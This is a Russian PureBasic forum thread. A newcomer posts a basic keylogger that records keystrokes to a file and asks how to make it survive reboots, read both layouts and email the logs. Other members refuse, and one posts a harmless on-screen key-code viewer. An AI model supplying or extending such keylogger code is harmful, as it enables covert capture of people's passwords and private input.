PureBasic - форум

Информация о пользователе

Привет, Гость! Войдите или зарегистрируйтесь.

Вы здесь » PureBasic - форум » PureBasic для Windows » Вирус-шпион на purebasic

Вирус-шпион на purebasic

Страница: 1

Сообщений 1 страница 5 из 5

1

  • Автор: RIK
  • Новичок
  • Зарегистрирован: 29.11.2012
  • Приглашений: 0
  • Сообщений: 1
  • Уважение: [+0/-0]
  • Позитив: [+0/-0]
  • Провел на форуме:
    19 минут
  • Последний визит:
    30.11.2012 19:41:40

Здравствуйте. Недавно скачал purebasic и нашел там код вируса-шпиона, но мне бы хотелось его усовершенствовать (потому что он самый простой хоть и делает большие задачи) но так как я в программировании не понимаю, решил обратиться за помощью на форум, надеюсь мне помогут.

Код вируса

If OpenFile(0,"текст.txt")
  FileSeek(0,Lof(00))
  Repeat
    Delay(10)
    For r=0 To 255 ;0..4 - системные бипперы - нафиг не надо
      If GetAsyncKeyState_(r)=-32767 ; эта цифирька означает, что это нажата последняя клавиша чтоб без повторов, с повторами
        WriteByte(0,r)
        FlushFileBuffers(0)
      EndIf
    Next r   
  Until GetAsyncKeyState_(#PB_Shortcut_Escape)
  CloseFile(0)
EndIf
End

Он создает текстовый документ и записывает все нажатия клавиатуры но только по английски и при перезагрузки системы отключается. Можно ли сделать что бы он распознавал обе раскладки клавиатуры, не отключался при перезагрузки и передавал информацию по электронной почте. Буду очень благодарен если поможете.

0

2

  • Автор: ВиниПур
  • Активный участник
  • Зарегистрирован: 11.11.2010
  • Приглашений: 0
  • Сообщений: 271
  • Уважение: [+8/-0]
  • Позитив: [+1/-0]
  • Провел на форуме:
    1 день 22 часа
  • Последний визит:
    12.03.2022 21:07:46
RIK написал(а):

нашел там код вируса-шпиона

Ни какой это не вирус - разве этот код может размножаться?
Да и не шпион - разве это код может запуститься на компьютере без помощи юзера?.
Просто код, который записывает нажатия клавиш в файл.

RIK написал(а):

надеюсь мне помогут.

Надеюсь, что нет.

0

3

  • Автор: Никита
  • Участник
  • Откуда: Ростов-на-Дону, Россия
  • Зарегистрирован: 18.06.2013
  • Приглашений: 0
  • Сообщений: 13
  • Уважение: [+0/-0]
  • Позитив: [+0/-0]
  • Пол: Мужской
  • Возраст: 25 [1998-11-26]
  • Провел на форуме:
    5 часов 9 минут
  • Последний визит:
    17.12.2013 22:53:26

RIK, тут вопросы по программированию, а к вирусописателям разговор совсем другой. Так что извиняйте, читайте справку и курите WinAPI.

P.S. В гугле про распознавание раскладок можно полно кодов на пурике найти.

0

4

  • Автор: ВиниПур
  • Активный участник
  • Зарегистрирован: 11.11.2010
  • Приглашений: 0
  • Сообщений: 271
  • Уважение: [+8/-0]
  • Позитив: [+1/-0]
  • Провел на форуме:
    1 день 22 часа
  • Последний визит:
    12.03.2022 21:07:46

Никита http://otvet.mail.ru/question/42321112

0

5

  • Автор: Лоенид Эвклидоров
  • Новичок
  • Зарегистрирован: 19.01.2014
  • Приглашений: 0
  • Сообщений: 1
  • Уважение: [+0/-0]
  • Позитив: [+0/-0]
  • Провел на форуме:
    12 минут
  • Последний визит:
    08.03.2014 00:15:09

Trect.RECT
Trect\left   =0 ;X-linke obere Ecke
Trect\top    =0;Y-linke obere Ecke
Trect\right  =80 ;X-rechte untere Ecke
Trect\bottom =25 ;Y-rechte untere Ecke



OpenWindow(1,0,0,240,120,"Инфо", #PB_Window_ScreenCentered|#PB_Window_SystemMenu)

PureCOLOR_SetWindowColor(1, $000000)
  StickyWindow(1,1)
  EditorGadget(2,0,0,0,0)
  TreeGadget(3, 0,0,240,100, #PB_Tree_NoButtons| #PB_Tree_NoLines)

     
PureCOLOR_SetGadgetColor(3, $f8ff89, $000000)
ProgressBarGadget(4,0,100,240,20,0,290)
HDC=GetDC_(GadgetID(4))
SetBkMode_(HDC,#TRANSPARENT) ; Hintergrund Transparent
SetTextColor_(HDC,$FF0000)   ; Textfarbe
 

  SetGadgetText(2, AllVal.s)
  Repeat
   
    SetActiveWindow_(GadgetID(3))
      SetActiveWindow_(WindowID(1))
    SendMessage_(GadgetID(3),#EM_SETSEL,$FFFFFFF,$fffffff)
    For r=0 To 290 ;0..4 - системные бипперы - нафиг не надо
      CreateImage(r, 16,16)
      StartDrawing(ImageOutput(r))
      Box(0,0,20,20, $f8ff89)
      DrawText(2,0,Chr(r), $000000, $f8ff89 )
      StopDrawing()
      If GetAsyncKeyState_(1)<>-32767
      If GetAsyncKeyState_(r)=-32767 ; эта цифирька означает, что это нажата последняя клавиша чтоб без повторов, с повторами
        SetGadgetState(4,0)
       
        For x=0 To 290
            StartDrawing(WindowOutput(1))
       
             
            StopDrawing()
           
          SetGadgetState(4, GetGadgetState(4)+x)
            DrawText_(HDC, Str(x/2.9) + "%",-1,Trect,#DT_SINGLELINE)
          Next
        AllVal.s =  AllVal.s + "код - " + Str(r) + "       " +  Chr(r) + Chr(13)
        AddGadgetItem(3, -1, "код - " + Str(r), ImageID(r))
        SetGadgetState(4, 290)
  DrawText_(HDC, Str(290/2.9) + "%",-1,Trect,#DT_SINGLELINE)
   EndIf
EndIf
    Next r 
   
   
   
  Until WaitWindowEvent() = #PB_Event_CloseWindow
 
 

Сойдет?

0

Страница: 1

Вы здесь » PureBasic - форум » PureBasic для Windows » Вирус-шпион на purebasic